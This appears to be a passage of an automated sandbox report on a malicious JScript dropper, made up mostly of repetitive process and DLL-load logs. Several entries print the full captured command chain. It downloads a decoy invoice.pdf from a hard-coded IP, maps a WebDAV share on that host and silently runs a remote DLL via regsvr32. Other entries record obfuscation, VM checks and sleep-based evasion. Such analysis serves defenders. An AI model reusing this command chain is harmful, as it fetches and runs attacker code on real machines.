Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6107.js.csv");ITextStream.WriteLine(" entry:7688 f:qzeohs");ITextStream.WriteLine(" exec:2 f:qzeohs");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49706 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49706

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5130			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4586			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7900	Thread sleep count: 5130 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7904	Thread sleep count: 4586 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7976	Thread sleep time: -12912720851596678s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7992	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7880	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 8000	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 8172	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 5452	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe	Last function: Thread delayed

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000003.1488200808.0000028EC6FAA000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWo
Source: wscript.exe, 00000000.00000002.1421517991.00000208184E3000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: \??\SCSI#CdRom&Ven_NECVMWar&Prod_VMware_SATA_CD00#4&224f42ef&0&000000#{53f5630d-b6bf-11d0-94f2-00a0c91efb8b}\
Source: net.exe, 00000007.00000003.1488200808.0000028EC6FAA000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2709805891.000001C6FF05A000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2708502855.000001C6F9A27000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1496282001.0000028EC6F48000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW`

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\21938256073758.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
